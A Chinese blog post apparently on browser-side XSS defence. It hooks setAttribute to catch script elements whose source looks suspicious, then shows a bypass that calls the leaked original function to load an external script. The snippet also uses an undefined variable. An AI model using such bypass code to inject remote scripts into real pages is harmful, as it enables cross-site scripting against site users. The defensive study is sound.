昨天尝试了一系列的可疑模块拦截试验,尽管终的方案还存在着一些兼容性问题,但大体思路已经明确了:
  静态模块:使用 MutationObserver 扫描。
  动态模块:通过 API 钩子来拦截路径属性。
  提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马。当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序。
  无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序。
  这是一种链式调用的模式。调用者无需关心上一级的细节,直管用是了,即使有额外的操作对其也是不可见的。从底层的指令拦截,到语言层面的虚函数继承,以及更高层次的面向切面,都带有这类思想。
  对于 JavaScript 这样灵活的语言,任何模式都可以实现。之前做过一个网页版的变速齿轮,用的是这类原理。
  JavaScript 钩子小试
  要实现一个基本的钩子程序非常简单,昨天已演示过了。现在我们再来给 setAttribute 接口实现一个钩子:

 

// 保存上级接口
var raw_fn = Element.prototype.setAttribute;
// 勾住当前接口
Element.prototype.setAttribute = function(name, value) {
// 额外细节实现
if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
if (/xss/.test(value)) {
if (confirm('试图加载可疑模块: ' + url + ' 是否拦截?')) {
return;
}
}
}
raw_fn.apply(this, arguments);
};
// 创建脚本
var el = document.createElement('script');
el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run

  类似昨天的访问器拦截,现在我们对 setAttribute 也进行类似的监控。因为它是个函数,所有主流浏览器都兼容。
  钩子泄露
  看起来似乎毫无难度,而且也没什么不对的地方,这不可以了吗?
  如果终用这代码,那也太挫了。我们把原始接口都暴露在全局变量里了,攻击者只要拿了这个变量,即可绕过我们的检测代码:
  var el = document.createElement('script');
  // 直接调用原始接口
  raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
  document.body.appendChild(el);
  Run